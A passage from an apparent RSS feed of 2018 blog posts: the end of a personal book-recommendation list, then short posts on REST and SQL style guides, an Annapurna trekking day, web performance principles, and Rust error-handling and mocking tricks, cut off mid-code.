&lt;h3 id="complex-ptsd-from-surviving-to-thriving-a-guide-and-map-for-recovering-from-childhood-trauma"&gt;&lt;a href="https://www.amazon.com/Complex-PTSD-Surviving-RECOVERING-CHILDHOOD/dp/1492871842"&gt;Complex PTSD: From Surviving to Thriving: A Guide and Map for Recovering from Childhood Trauma&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;Those of you out there raised in religious homes might benefit from this. Not all of you, but enough of you.&lt;/p&gt;

&lt;p&gt;There’s so much I could say about this book, I don’t have time to say it here. Surprisingly good, surprisingly accessible, surprisingly effective.&lt;/p&gt;

&lt;h2 id="money"&gt;Money&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;note from a few years later:&lt;/em&gt; Meh, i’m less down than I once was with books that sorta strongly end up supporting capitalism as an american.&lt;/p&gt;

&lt;p&gt;It’s a little icky when so much of success can be tied closely to subtle interactions with banking systems ‘going well’. example reference 1: &lt;a href="https://byrnehobart.medium.com/the-30-year-mortgage-is-an-intrinsically-toxic-product-200c901746a"&gt;“The 30-Year Mortgage is an Intrinsically Toxic Product” by Byrne Hobart&lt;/a&gt;, example reference 2: &lt;a href="https://escholarship.org/uc/item/7sq3f6xk"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;Government Policy, Housing, and the Origins of Securitization, 1780 - 1968&lt;/code&gt; by Sarah Lehman Quinn tells the story of ‘regimes and attempted regimes of social control via housing&amp;lt;&amp;gt;financial policy`, which puts many of this century’s financial tooling developments in an interesting context&lt;/a&gt;&lt;/p&gt;

&lt;h3 id="your-money-or-your-life-9-steps-to-transforming-your-relationship-with-money-and-achieving-financial-independence"&gt;Your Money or Your Life: 9 Steps to Transforming Your Relationship with Money and Achieving Financial Independence&lt;/h3&gt;

&lt;p&gt;feels to capitalistic and ‘play along’ in 2024, but still maybe a worthwhile read.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.goodreads.com/book/show/78428.Your_Money_or_Your_Life"&gt;Goodreads&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From a &lt;a href="https://www.goodreads.com/review/show/775975?book_show_action=true&amp;amp;from_review_page=1"&gt;GoodReads review&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;[Your Money or Your Life] was recommended to me by a friend, who gave up her stable teaching position to run a used bookstore after reading this book.&lt;/p&gt;

  &lt;p&gt;This was my first foray into the self-help genre. The prose is laughably hokey at the most inopportune times, but the message is worth slogging through the mantras and the affirmations.&lt;/p&gt;

  &lt;p&gt;Plus, the “nine-step program” actually works, if you’re willing to commit to it. I started out, skeptical, with a step I thought I could stick to—keeping track of my spending, and became curious about the rest of my financial health from there.&lt;/p&gt;

  &lt;p&gt;By the time, a year-and-a-half later, I faced the last maudlin step (calculating how much time you have left in your life), I found it so thoroughly shocking (in my case, less than half a million hours based on average life expectancy) that I realized staying in a job that made me miserable wasn’t worth it, so I quit.&lt;/p&gt;

  &lt;p&gt;I guess, in that sense, this book delivers on its hokey promise to change your life.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id="the-privatization-of-roads-and-highways"&gt;&lt;a href="https://www.goodreads.com/book/show/12720771-the-privatization-of-roads-and-highways"&gt;The Privatization of Roads and Highways&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;That which we’ve grown up with, we (humans) tend to assume is not just ideal, but &lt;em&gt;morally correct&lt;/em&gt;. We’ve grown up (as a nation) with government-built roads. It’s so impossible to imagine something else that as soon as someone suggests some crazy idea, a standard retort is “but who would build the roads?” followed by “if you like anarchy, move to Somalia!”.&lt;/p&gt;

&lt;p&gt;This book addresses the first portion of that objection.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;spoiler: for most of the time that humans have been building roads, they’ve been funded and built privately. Public road building has catastrophic implications for everyone.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Regrettably, the book is poorly written, &lt;em&gt;and&lt;/em&gt; it’s just a collection of essays by the author, so the book covers much of the same territory multiple times. I have not found better treatment of this topic, so until then - this is the book I recommend.&lt;/p&gt;

&lt;h3 id="a-paradise-built-in-hell-the-extraordinary-communities-that-arise-in-disaster"&gt;&lt;a href="https://www.goodreads.com/book/show/19271055-a-paradise-built-in-hell"&gt;A Paradise Built in Hell: The Extraordinary Communities That Arise in Disaster&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;We’re told that when society breaks down, we devolve into a state of anarchy and will kill each other, or be killed by each other. This happens to be a self-fulfilling prophecy. It turns out that when disaster strikes, things tend to work out pretty well.&lt;/p&gt;

&lt;p&gt;If we think bad things happen when disasters strike, bad things will happen.&lt;/p&gt;

&lt;p&gt;If we think good things will happen when disasters strike, good things will happen. (This is related to the theory in international relations known as &lt;a href="https://en.wikipedia.org/wiki/Constructivism_(international_relations)"&gt;constructivism&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Since your expectations will shape your reality, if you think you might ever find yourself impacted by a disaster, this  book would serve well as preparation.&lt;/p&gt;

&lt;p&gt;A &lt;a href="https://www.goodreads.com/review/show/132588792?book_show_action=true&amp;amp;from_review_page=1"&gt;GoodReads review&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;In &lt;em&gt;A Paradise Built in Hell&lt;/em&gt; Solnit mounts a spirited argument that this pessimistic view of how people respond to catastrophe is fundamentally wrong. Instead, she argues, disasters are far more likely to bring out the best in people – there is a natural desire to help one another, which is actually easier to put into action, given the relaxation of social barriers that often prevails in the
wake of a disaster. You might go for years just nodding at that neighbor across the street, but after the earthquake/fire/blackout the two of you may just end up having a real conversation.&lt;/p&gt;

  &lt;p&gt;Solnit grounds her argument in five specific case studies:&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;the San Francisco earthquake of 1906&lt;/li&gt;
    &lt;li&gt;the 1917 explosion of the munitions ship Mont Blanc in Halifax, Nova Scotia&lt;/li&gt;
    &lt;li&gt;Mexico City’s 1985 earthquake&lt;/li&gt;
    &lt;li&gt;the World Trade Center attacks of 2001&lt;/li&gt;
    &lt;li&gt;Hurricane Katrina and its aftermath.&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;h3 id="seeing-like-a-state"&gt;&lt;a href="https://www.goodreads.com/book/show/20186.Seeing_Like_a_State"&gt;Seeing like a State&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;I cannot do justice to this book, so I’ll quote extensively from  &lt;a href="http://slatestarcodex.com/2017/03/16/book-review-seeing-like-a-state/"&gt;Slate Star Codex’s&lt;/a&gt; review. (You should really just read the review, then the book.)&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;Seeing Like A State&lt;/em&gt; is the book G.K. Chesterton would have written if he had gone into economic history instead of literature. Since he didn’t, James Scott had to write it a century later. The wait was worth it.&lt;/p&gt;

  &lt;p&gt;Scott starts with the story of “scientific forestry” in 18th century Prussia. Enlightenment rationalists noticed that peasants were just cutting down whatever trees happened to grow in the forests, like a chump. They came up with a better idea: clear all the forests and replace them by planting identical copies of Norway spruce (the highest-lumber-yield-per-unit-time tree) in an evenly-spaced rectangular grid. Then you could just walk in with an axe one day and chop down like a zillion trees an hour and have more timber than you could possibly ever want.&lt;/p&gt;

  &lt;p&gt;This went poorly. The impoverished ecosystem couldn’t support the game animals and medicinal herbs that sustained the surrounding peasant villages, and they suffered an economic collapse. The endless rows of identical trees were a perfect breeding ground for plant diseases and forest fires. And the complex ecological processes that sustained the soil stopped working, so after a generation the Norway spruces grew stunted and malnourished. Yet for some reason, everyone involved got promoted, and “scientific forestry” spread across Europe and the world.&lt;/p&gt;

  &lt;p&gt;And this pattern repeats with suspicious regularity across history, not just in biological systems but also in social ones.&lt;/p&gt;

  &lt;p&gt;[…]&lt;/p&gt;

  &lt;p&gt;Suppose you’re a premodern king, maybe one of the Louises who ruled France in the Middle Ages. You want to tax people to raise money for a Crusade or something. Practically everyone in your kingdom is a peasant, and all the peasants produce is grain, so you’ll tax them in grain. Shouldn’t be too hard, right? You’ll just measure how many pints of grain everyone produces, and…&lt;/p&gt;

  &lt;blockquote&gt;
    &lt;p&gt;The pint in eighteenth-century Paris was equivalent to 0.93 liters, whereas in Seine-en-Montane it was 1.99 liters and in Precy-sous-Thil, an astounding 3.33 liters. The aune, a measure of length used for cloth, varied depending on the material(the unit for silk, for instance, was smaller than that for linen) and across France there were at least seventeen different aunes.&lt;/p&gt;
  &lt;/blockquote&gt;

  &lt;p&gt;Okay, this is stupid. Just give everybody evenly-sized baskets, and tell them that baskets are the new unit of measurement.&lt;/p&gt;

  &lt;blockquote&gt;
    &lt;p&gt;Virtually everywhere in early modern Europe were endless micropolitics about how baskets might be adjusted through wear, bulging, tricks of weaving, moisture, the thickness of the rim, and so on. In some areas the local standards for the bushel and other units of measurement were kept in metallic form and placed in the care of a trusted official or else literally carved into the stone of a church or the town hall. Nor did it end there. How the grain was to be poured (from shoulder height, which packed it somewhat, or from waist height?), how damp it could be, whether the container could be shaken down, and finally, if and how it was to be leveled off when full were subjects of long and bitter controversy.&lt;/p&gt;
  &lt;/blockquote&gt;

  &lt;p&gt;Huh, this medieval king business is harder than you thought. Maybe you can just leave this problem to the feudal lords?&lt;/p&gt;

  &lt;blockquote&gt;
    &lt;p&gt;Thus far, this account of local measurement practices risks giving the impression that, although local conceptions of distance, area, volume, and so on were different from and more varied than the unitary abstract standards a state might favor, they were nevertheless aiming at objective accuracy. This impression would be false. […]&lt;/p&gt;
  &lt;/blockquote&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="http://slatestarcodex.com/2017/03/16/book-review-seeing-like-a-state/"&gt;Just read the review&lt;/a&gt;&lt;/p&gt;

&lt;h3 id="a-mind-for-numbers-how-to-excel-at-math-and-science-even-if-you-flunked-algebra"&gt;&lt;a href="https://www.goodreads.com/book/show/18693655-a-mind-for-numbers"&gt;A Mind for Numbers: How to Excel at Math and Science (Even If You Flunked Algebra)&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;The “Right brain vs left brain” model is wrong. If you want to learn a technical topic, you can. Just like how if you wanted to cut a piece of wood, you can. If you have the right tool. A butter knife will not cut a piece of wood very well, but a buzz saw might.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;A Mind for Numbers&lt;/em&gt; gives you that buzz saw. With the right tactics and motives, anyone can read anything. I read this before jumping into software development full-time, and this book delivered great value in that endeavor.&lt;/p&gt;

&lt;p&gt;From &lt;a href="https://www.goodreads.com/review/show/1080072109?book_show_action=true&amp;amp;from_review_page=1"&gt;GoodReads&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The title of the book doesn’t do it justice. This is a book about how to get good at anything, not just math and science. It’s a light read because it’s full of simple advice. But the stuff it teaches is effective, and I wish it had been taught to me back in 1997 when I was starting graduate school.&lt;/p&gt;

  &lt;p&gt;If you find yourself checking your phone or screwing around on Facebook while you should be working, read this book. If you’re having trouble learning stuff you need for work at a higher rate than you’re forgetting it, read this book. Do so especially if you’re young, because the longer the time you have left to reap the benefits, the more reading this book is worth to you.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id="deep-work-rules-for-focused-success-in-a-distracted-world"&gt;&lt;a href="https://www.goodreads.com/book/show/25744928-deep-work"&gt;Deep Work: Rules for Focused Success in a Distracted World&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;Deep Work&lt;/em&gt; is profound. It was &lt;a href="/i-quit"&gt;the best book I read in 2016&lt;/a&gt;, and is no small part of the reason I went to Turing and got into software development.&lt;/p&gt;

&lt;p&gt;From the author:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Deep work is the ability to focus without distraction on a cognitively demanding task. It’s a skill that allows you to quickly master complicated information and produce better results in less time. Deep work will make you better at what you do and provide the sense of true fulfillment that comes from craftsmanship. In short, deep work is like a super power in our increasingly competitive twenty-first century economy. And yet, most people have lost the ability to go deep—spending their days instead in a frantic blur of e-mail and social media, not even realizing there’s a better way.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Pursuing the skill of “deep work” will have a compounding effect on the rest of your life. A little investment now makes the rest of your efforts just a little more effective, and leaves you with more room to get better at deep work, which in turn makes your efforts more effective, and on and on.&lt;/p&gt;

&lt;div class="footnotes"&gt;
  &lt;ol&gt;
    &lt;li id="fn:books-change"&gt;
      &lt;p&gt;I’ve read a few thousand books over my ~33 years on this planet. Here’s the ones that have shaped me. I created this page in 2018, and the books on that list have gone mostly out of date. &lt;a href="https://github.com/josh-works/josh-works.github.io/commits/master/_posts/2018-05-17-recommended_reading_original_list.md"&gt;Here’s the git history for how this page has changed across time&lt;/a&gt;. &lt;a class="reversefootnote" href="#fnref:books-change"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;</description><author>Josh Thompson</author><pubDate>Thu, 17 May 2018 16:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/recommended-reading-original-list</guid></item><item><title>REST API Guidelines</title><link>https://ilearnt.com/blog/restapiguidelines/</link><description>&lt;p&gt;This is here for future reference - a very good set of guidelines for REST APIs.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Thu, 17 May 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/restapiguidelines/</guid></item><item><title>SQL Style Guide</title><link>https://blog.harterrt.com/sql_style_guide.html</link><description>&lt;p&gt;I'm happy to announce, we now have a 
&lt;a href="https://docs.telemetry.mozilla.org/concepts/sql_style.html"&gt;SQL style guide&lt;/a&gt;.
Check it out!&lt;/p&gt;
&lt;p&gt;If you have any suggestions,
feel free to file a PR or issue in
&lt;a href="https://github.com/mozilla/firefox-data-docs/blob/master/concepts/sql_style.md"&gt;the docs repository&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Many thanks to all who participated in the 
&lt;a href="https://github.com/mozilla/stmocli/issues/9"&gt;St. Mocli conversation&lt;/a&gt;
and @mreid for the review!&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Thu, 17 May 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/sql_style_guide.html</guid></item><item><title>How to Solve It</title><link>https://june.kim/how-to-solve-it/</link><author>june.kim</author><pubDate>Thu, 17 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/how-to-solve-it/</guid></item><item><title>Annapurna Circuit - Day 6: Chame to Upper Pisang</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-6-pisang/</link><description>&lt;h1&gt;Spectacular scenery on the trail from Chame to Pisang.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After leaving Chame, we followed the main road for about an hour and a half. Along the way we stumbled upon an apple farm with a small tea shop and an extravagant hotel. It was the most beautiful lodging I’d seen in all of Nepal. The Farmhouse looked like it was straight out of Upstate New York, and reminded me so much of home. The small shop out front had incredible fresh chocolate covered donuts and apple tea. If you want to break up the trek with a bit of luxury, the hotel costs $60 a night for a room.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551463071/IMG_2457.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;After tea we followed the road and took a path to the left which was a little bit steep, but not for long. It crossed through the main road and picked up immediately on the other side which had gorgeous pine tree forests. We decided to stop for an early lunch in Dhikur Pokhari at the Sworgadwari Rooftop Restaurant. It’s the first restaurant in town and has the best view of the steep sloping mountain range that you’ll see on the way.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551463176/IMG_2485.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;After lunch we followed signs for Upper Pisang but somehow missed the trail on the right. We ended up in Lower Pisang after following the main road which is rather dusty. We continued on the road to Upper Pisang and headed for the tea houses at the top. The views from the top are incredible and Annapurna 2 looked gorgeous in the distance. We chose to stay at the Tuniche and Rooftop Restaurant where there’s a gas shower and large clean rooms. The entire city was without power (temporarily) so no one has electricity or WiFi. At the top of Upper Pisang is a beautiful monastery where you can stop by and listen to monks chanting before dinner.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551463212/IMG_2511%20%281%29.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Thu, 17 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-6-pisang/</guid></item><item><title>Principles of Performance</title><link>/performance-principles/</link><description>&lt;div class="image"&gt;
	&lt;img src="../../assets/images/cheetah.jpeg" /&gt;
	&lt;em&gt;Photo by Cara Fuller on Unsplash&lt;/em&gt;
&lt;/div&gt;
&lt;p&gt;On the web, speed is everything. But you knew that right? Rather than throwing percentages and statistics at you about site retention rates, let’s take a look at some key principles to bear in mind when looking to improve your app or website’s performance.&lt;/p&gt;
&lt;p&gt;These are principles to be used no matter what technology you use and are more broad in their scope. The aim is to make this into a small handbook, not a manual. Just as once you learn to drive a car you, in theory, can drive any other, this article aims to teach the principles and not the implementation.&lt;/p&gt;
&lt;div class="image"&gt;
	&lt;img src="https://cdn-images-1.medium.com/max/2000/0*-PJFFL6w3b2sbjF5." /&gt;
	&lt;em&gt;This is your website&lt;/em&gt;
&lt;/div&gt;
&lt;h2&gt;More Network Round-Trips = Slower Load Times&lt;/h2&gt;
&lt;p&gt;Without a doubt, one of the main contributors to slow page load times is network round trips. By having more assets to download (javascript libraries, CSS modules, images), the more network connections the end-user will have to establish. Regardless of network speed, this will have negative repercussions on page load times — the effect will be more noticeable at slower network speeds.&lt;/p&gt;
&lt;p&gt;The first way you can solve this is by compiling your assets. You can try something like Webpack to compile various stylesheets and scripts into bundles — meaning you have a single CSS and JS file that you use across the board. Further, if you have a lot of icons or sprites on your page, it may also be worth putting these onto a single image and then be referenced like sprite sheet — this is a trick used commonly by game developers but can be utilized on the web too.&lt;/p&gt;
&lt;p&gt;Another approach is to reduce the assets you are using — question whether you really need that library. There are lots of sites that have sprung up like &lt;a href="http://youmightnotneedjquery.com/"&gt;youdontneedjquery&lt;/a&gt; illustrating why you might not need to include that specific library. Additionally, if you do decide you need that library or framework, then often you can import only what you need. In the case of &lt;a href="https://lodash.com/"&gt;Lodash&lt;/a&gt;, you can specify a singular function to save to your dependencies (improving ‘npm install’ time for new contributors) as well as importing only that function thereby not bloating your application with unused code. I find myself keenly aware of this with Bootstrap. Often bootstrap is hastily imported and used for nothing more than it’s easy-to-use grid layout. Truth be told, bootstrap includes a &lt;strong&gt;lot&lt;/strong&gt; of CSS modules for jumbotrons, icons, wells, breadcrumbs and anything else you could think of for building a site. But in 99% of cases, you just don’t need all of its features. With &lt;a href="https://getbootstrap.com/docs/4.0/getting-started/webpack/"&gt;Bootstrap 4 you can use Webpack&lt;/a&gt; to import specific plugins. With Bootstrap 3.3 you can get even more granular and create your own &lt;a href="https://getbootstrap.com/docs/3.3/customize/"&gt;customized version of bootstrap&lt;/a&gt;, including only what you need.&lt;/p&gt;
&lt;p&gt;Note this tip applies only to HTTP 1.1. With the rise of HTTP2 around the corner, it is actually &lt;strong&gt;faster&lt;/strong&gt; to have lots of assets rather than 1 single bundle. However, HTTP2 has yet to see widespread adoption for performance reasons.&lt;/p&gt;
&lt;h2&gt;Larger Assets = Slow&lt;/h2&gt;
&lt;p&gt;A &lt;a href="https://www.youtube.com/watch?v=FEs2jgZBaQA"&gt;fantastic talk by Addy Osmani at CSSConf&lt;/a&gt; demonstrated the detrimental effect of having large image assets on your page (especially in the visible viewport). To have a fast running app or website, you have to shed the things that slow you down.&lt;/p&gt;
&lt;div class="image"&gt;
	&lt;img src="https://cdn-images-1.medium.com/max/2000/0*weuFQ40LFR1eJQyR." /&gt;
	&lt;em&gt;I couldn’t find a photo of Usain Bolt with a bag of sand but here’s the next best thing!&lt;/em&gt;
&lt;/div&gt;
&lt;p&gt;Usain Bolt can run the 100m in 9.58 seconds. That’s very fast. But if he was carrying a bag of sand, he would be a lot slower. It sounds silly but the bag of sand illustrates all those cumbersome libraries and images you are using to try and make the website look sleeker but end up slowing it down. Sure, your image pops in and does a little twirl, but people will have left the site long before that animation library even loads in.&lt;/p&gt;
&lt;p&gt;If you decide, no I need that 10Mb 4k image to load on first paint, then look to deliver it via a CDN (such as &lt;a href="https://www.cloudflare.com/"&gt;CloudFlare&lt;/a&gt; or &lt;a href="https://cloudinary.com/"&gt;cloudinary&lt;/a&gt;) and then cache it aggressively at the server and client level. This will benefit recurring users and can reduce page load times by a factor of 10 on the second load. Customers will thank you for respecting their data plans. Excess mobile data charges can quickly rake up and if your app is a major culprit for this, then you may find users dropping off the service.&lt;/p&gt;
&lt;h2&gt;Feels fast = Is Fast&lt;/h2&gt;
&lt;p&gt;When loading something, if it “feels” fast then it will be fast. But what does it mean to “feel” fast? Well, when loading a website, for example, prioritise the part that the user can see first — this is called the initially visible viewport. It will vary on a per-device basis but using tools such as &lt;a href="https://github.com/pocketjoso/penthouse"&gt;Penthouse&lt;/a&gt; and &lt;a href="https://github.com/addyosmani/critical"&gt;CriticalCSS&lt;/a&gt; you can bundle and inline the styling that renders the top of your website.&lt;/p&gt;
&lt;p&gt;It also means being interactive in the shortest time possible. You want a person to scroll down your website and not hit a load of, what I will call, the “Tasmanian scrollbar devil”. I’m sure you’ve had it yourself, scrolling down a website then an image above the visible viewport loads and pushed the content you were trying to look at down. Incredible annoying UX and takes up valuable CPU time.&lt;/p&gt;
&lt;div class="image"&gt;
	&lt;img src="https://cdn-images-1.medium.com/max/2000/0*sOAULjFJsJE0_kYf." /&gt;
	&lt;em&gt;You don’t want this guy on your site&lt;/em&gt;
&lt;/div&gt;
&lt;p&gt;To combat this, place invisible div’s with the width and height of images before they load, this will prevent this scrollbar devil from ever arising. You can also perform the same trick with large areas of text or the like, for example, you may have seen Facebook and Jira using Background masks. &lt;a href="https://cloudcannon.com/deconstructions/2014/11/15/facebook-content-placeholder-deconstruction.html"&gt;Here is a great article&lt;/a&gt; on specifically how they work.&lt;/p&gt;
&lt;p&gt;But what about the rest of the page’s content below the initially visible viewport? That can be lazy loaded. Simple. Utilize async scripts and other methods to ensure your assets are delivered swiftly. Try to defer any background tasks or other assets for later on down the line. For example, if you have a to-do app, I would render main menu bar critically inline as well as placeholder masks for tasks. I’d then prioritize loading the JS that will then request the to-dos from the database. Anything else, such as account settings, the users’ profile image etc. can be saved for later. The goal of the app is to display to-dos. Make that the fastest thing, and forget everything else.&lt;/p&gt;
&lt;h2&gt;Hosting&lt;/h2&gt;
&lt;p&gt;Consider your hosting provider as a possible bottleneck for performance. Although we have spoken a lot in this article about initial loading times, it’s worth considering the performance of certain interactions.&lt;/p&gt;
&lt;p&gt;Using the to-do app example above, the most important interaction is marking to-do items as completed. It might be the case that you are triggering a serverless function hosted on AWS lambda when the user marks the item complete. If you find this action slow, investigate the bottlenecks. Is it the database connection time? Is it the memory assigned to the lambda function enough? With serverless, perhaps the function is going cold and so has a slow startup time — so it’s better to host it on a long-running server instance. The point is, there are many considerations and possible bottlenecks in even the most simple action.&lt;/p&gt;
&lt;p&gt;If you are using a relational database (such as MySQL or PostgreSQL) it’s worth taking a look at your table architecture. Bad database design can necessitate more JOIN’s than would otherwise be needed. Further, joining on un-indexed columns with large datasets will be detrimental to query performance so it’s advisable to take look at what queries you are performing and optimize them. You may even want to consider using Redis or Memcached to cache common query responses.&lt;/p&gt;
&lt;h2&gt;Set budgets and targets&lt;/h2&gt;
&lt;p&gt;Chances are, if you are the developer then you will be fairly intolerant to anything slow. In addition, you will have a good idea of how fast things *should *perform as well as the device that people use most often.&lt;/p&gt;
&lt;p&gt;Now you have a clear picture of your most common use case, the next step is to create a performance budget. In other words, how fast should it load? Having a clear target will give you something to aim for and to keep a close eye with each new code change that is made. Be vigilant with sticking to that sub 1 second load time, and don’t accept any new code that pushes it over that limit.&lt;/p&gt;
&lt;p&gt;Hopefully, you can utilize these principles in the future an apply them to your own website or application. They should be transferable no matter what technology you are using. Let me know any performance principles you have at &lt;a href="mailto:hola@joshghent.com"&gt;hola@joshghent.com&lt;/a&gt; or comment below! I’m also on twitter &lt;a href="https://twitter.com/joshghent?lang=en"&gt;@joshghent&lt;/a&gt; where I tweet about web performance and more.&lt;/p&gt;</description><author/><pubDate>Thu, 17 May 2018 01:12:03 GMT</pubDate><guid isPermaLink="true">/performance-principles/</guid></item><item><title>Speeding up zsh and Oh-My-Zsh</title><link>https://blog.jonlu.ca/posts/speeding-up-zsh</link><description/><author>JonLuca's Blog</author><pubDate>Wed, 16 May 2018 21:43:26 GMT</pubDate><guid isPermaLink="true">https://blog.jonlu.ca/posts/speeding-up-zsh</guid></item><item><title>The accelerated pace of image processing developments</title><link>https://ilearnt.com/blog/imageprocessingdevelopments/</link><description>&lt;p&gt;There are some amazing things happening with image processing at the moment. I remember my graphics class at university 25 years ago and the primitive, by comparison to now, image processing algorithms we had to code. Oh how things have moved on.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Wed, 16 May 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/imageprocessingdevelopments/</guid></item><item><title>The elegance of Rust</title><link>https://philbooth.me/blog/the-elegance-of-rust/</link><description>&lt;p&gt;Here&amp;rsquo;s three little Rust tricks
that I learned in the last week or so.
Each struck me as being an elegant approach
to working cleanly within the confines
of a strongly-typed language.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Say you have a bunch of custom error types
in different places,
each tailored to the specific requirements
of some module or function.
When errors from lower levels
bubble up through higher ones,
they need to be transformed to the correct type.
What&amp;rsquo;s a nice way to do that?&lt;/p&gt;
&lt;p&gt;The solution comes in two parts.
Firstly, implement the &lt;a href="https://doc.rust-lang.org/std/convert/trait.From.html"&gt;&lt;code&gt;From&lt;/code&gt;&lt;/a&gt; trait
for the higher-level error,
specifying the lower-level error as the type argument:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;impl From&amp;lt;DbError&amp;gt; for ApiError {
    fn from(value: DbError) -&amp;gt; ApiError {
        ApiError {
            // ...
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Secondly, call &lt;a href="https://doc.rust-lang.org/std/result/enum.Result.html#method.map_err"&gt;&lt;code&gt;Result::map_err&lt;/code&gt;&lt;/a&gt;
when you want to transform the lower-level error
into the higher-level one:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;pub fn do_something(&amp;amp;self) -&amp;gt; Result&amp;lt;Foo, ApiError&amp;gt; {
    // db.query returns Result&amp;lt;Foo, DbError&amp;gt;
    self.db.query(self.query)
        .map_err(From::from)
}
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sticking with the &lt;code&gt;Result&lt;/code&gt; theme,
what should you do
if you want to fold/reduce
over an iterator
using a function that can fail?&lt;/p&gt;
&lt;p&gt;Coming from a JS background,
in the past I might have thrown from &lt;code&gt;reduce&lt;/code&gt;
and silently cursed myself over using &lt;code&gt;throw&lt;/code&gt; for flow control.
But in Rust, &lt;a href="https://doc.rust-lang.org/std/iter/trait.Iterator.html#method.try_fold"&gt;&lt;code&gt;Iterator::try_fold&lt;/code&gt;&lt;/a&gt;
comes to the rescue:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;let remaining_pizza = pizza_slices
    .iter()
    .try_fold(0, |consumed, slice| {
        if consumed + slice &amp;gt;= 360 {
            Err(())
        } else {
            Ok(consumed + slice)
        }
    })
    .map(|consumed| 360 - consumed);
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Maybe there are parts of your code
that can only be tested if you use mocks
to force execution along specific paths.
Or maybe you want to use mocks for other reasons,
like making your tests faster
or just ensuring that failures are properly isolated.
At first this can seem tricky in a strongly-typed language,
but the end result is actually better and more robust
than a dynamically-typed language can achieve.&lt;/p&gt;
&lt;p&gt;The key is to promote the type to a trait:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;pub trait Emailer {
    fn send_email(&amp;amp;self, message: EmailMessage) -&amp;gt; Result&amp;lt;u64, EmailError&amp;gt;;
    fn get_delivery_status(&amp;amp;self, message_id: u64) -&amp;gt; Result&amp;lt;EmailStatus, EmailError&amp;gt;;
}

pub struct EmailClient {
    // ...
}

impl EmailClient {
    pub fn new() -&amp;gt; EmailClient {
        EmailClient {
            // ...
        }
   }
}

impl Emailer for EmailClient {
    fn send_email(&amp;amp;self, message: EmailMessage) -&amp;gt; Result&amp;lt;u64, EmailError&amp;gt; {
        // ...
    }

    fn get_delivery_status(&amp;amp;self, message_id: u64) -&amp;gt; Result&amp;lt;EmailStatus, EmailError&amp;gt; {
        // ...
    }
}
